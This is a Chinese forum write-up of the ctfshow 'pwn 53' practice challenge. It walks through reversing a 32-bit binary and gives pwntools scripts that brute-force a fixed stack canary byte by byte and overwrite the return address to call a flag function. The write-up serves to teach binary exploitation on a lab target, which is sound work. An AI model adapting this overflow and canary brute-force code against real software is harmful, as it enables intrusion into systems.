ctfshow pwn入门53

君叹   ·   发表于 2023-07-31 20:29:35   ·   CTF&WP专版

查看题目


提示信息没看懂
先用checksec分析一下


能看得出来是32位系统
拖到IDA中进行分析
关键的函数就是canary() 和 ctfshow
分别跟进分析


canary

代码的作用是读取/canary.txt文件,并赋值给变量 global_canary


ctfshow

代码中先让s1 = global_canary
如果发生栈溢出的话,会覆盖掉s1的值

后面循环读取值写入到v2中
v5 是一个用于计循环次数的变量

上面循环的代码等价于

  1. for (v5=0; v5<=31;v5++){
  2. read(0, &v2[v5], 1u);
  3. if (v2[v5] == 10)
  4. break;
  5. }

if语句的意思是,如果读取到\n,因为\n的ascii码是10,就是读取到换行符的时候,就停止读取。

__isoc99_sscanf((int)v2, (int)”%d”, (int)&nbytes);
这里的意思是将v2转换为整数存储到nbytes中

后面 read,就是读取控制台输入存放到buf中,读取nbytes个字节数量
当参数 handle 为 0 的时候,代表读取控制台输入


然后下面的if语句,比较s1global_canary的值是否还相同,这里如果发生了栈溢出的话,就会覆盖掉s1的值,溢出的数据如果无法和global_canary相匹配,就会exit()退出程序
这里就相当于模拟了一个Canary栈溢出保护


分析题目逻辑
其中canary的值是从文件中读入,很大概率文件内容是不会改变的
所以这里可以尝试爆破

接下来使用pwntools+gdb调试
先在本地创建/canary.txt的文件
程序中读入4字节的内容
所以这里随便写4个字节进去即可
先调试我们的溢出数据应该怎样写

  1. from pwn import *
  2. io = process("./pwn")
  3. elf = ELF('./pwn')
  4. flag = elf.sym['flag']
  5. payload = cyclic(0x20) # 生成的任意随机字符长度是0x20
  6. io.sendlineafter(">",'99') # 当遇到程序输出>时,发送99
  7. gdb.attach(io) # 打开gdb窗口调试
  8. io.sendafter('$ ', payload) # 当遇到 $ 符时发送payload
  9. io.interactive()

观察代码
是可以发现在两次输入之前程序会打印的特殊字符的

我们运行python代码
会出现gdb的调试界面
输入n,单步步过
因为我们是在发送Payload之前停的
下一步之后我们的payload就会被写入


可以看到这里的aaaa,这个就是cyclic生成的任意字符


我们找到esp 和 ebp 的地址


输出栈的所有字节

圈住的部分就是我们刚刚发送的payload,这里payload没有什么作用,就是把buf填满,
我本地创建的canary.txt 的内容是qwer,刚好可以和buf后面的四个字节对应
上面 x/a 的作用是先调整输出格式,否则可能会输出10进制什么其他格式


canary: 0x72657771

因为程序是小端字节序
所以要从后往前读
0x71 0x 77 0x65 0x72

所以从这里我们可以知道,buf后面的四个字节就是变量s1的字节,也就是用来验证是否产生了栈溢出的canary,就是程序用来验证是否产生栈溢出的地方,正常情况下栈溢出会让其他字节覆盖掉这里的canary,就会造成验证失败,程序停止,但是我们上面说了,因为canary是固定的不是随机的,所以可以爆破
再往后看


canary后16个字节后是函数的返回地址也就是main函数的地址
如果要获取shell或是泄露libc地址的话,就要让我们要调用的函数覆盖这个地方


但是题目中存在flag函数可以直接用来读取flag


这时候就可以构造我们的payload了

  1. payload = cyclic(0x20) + canary + p32(0) * 4 + p32(flag)

其中,canary需要我们爆破得到
flag是flag函数的地址

接下来就是逐字节爆破canary

先在本地测试

  1. from pwn import *
  2. canary = b''
  3. for i in range(4): # 已知canary是4字节,从IDA反编译出来的结果中可以看到
  4. for c in range(0xFF): # 从0x00爆破到0xFF
  5. io = process("./pwn")
  6. payload = cyclic(0x20) + canary + p8(c) # 这里p8()是一个字节
  7. io.sendlineafter(">", "999")
  8. io.sendafter("$ ", payload)
  9. text = io.recv()
  10. if b"Error" in text: # 如果栈溢出保护提示信息出现
  11. print(f"[*] {c}/{0xFF}")
  12. else:
  13. canary += p8(c)
  14. print(f"[+] {p8(c)}")
  15. break
  16. io.close()
  17. print(f"canary: {canary}")
  18. io = process("./pwn")
  19. elf = ELF("./pwn")
  20. flag = elf.sym['flag']
  21. payload = cyclic(0x20) + canary + p32(0) * 4 + p32(flag)
  22. io.sendlineafter(">",'999')
  23. io.sendafter("$ ", payload)
  24. io.interactive()

代码运行结果

用户名金币积分时间理由
Track-魔方 700.00 0 2023-08-02 11:11:04 深度 200 普适 300 可读 100 稀缺 100

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-31 | 946 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.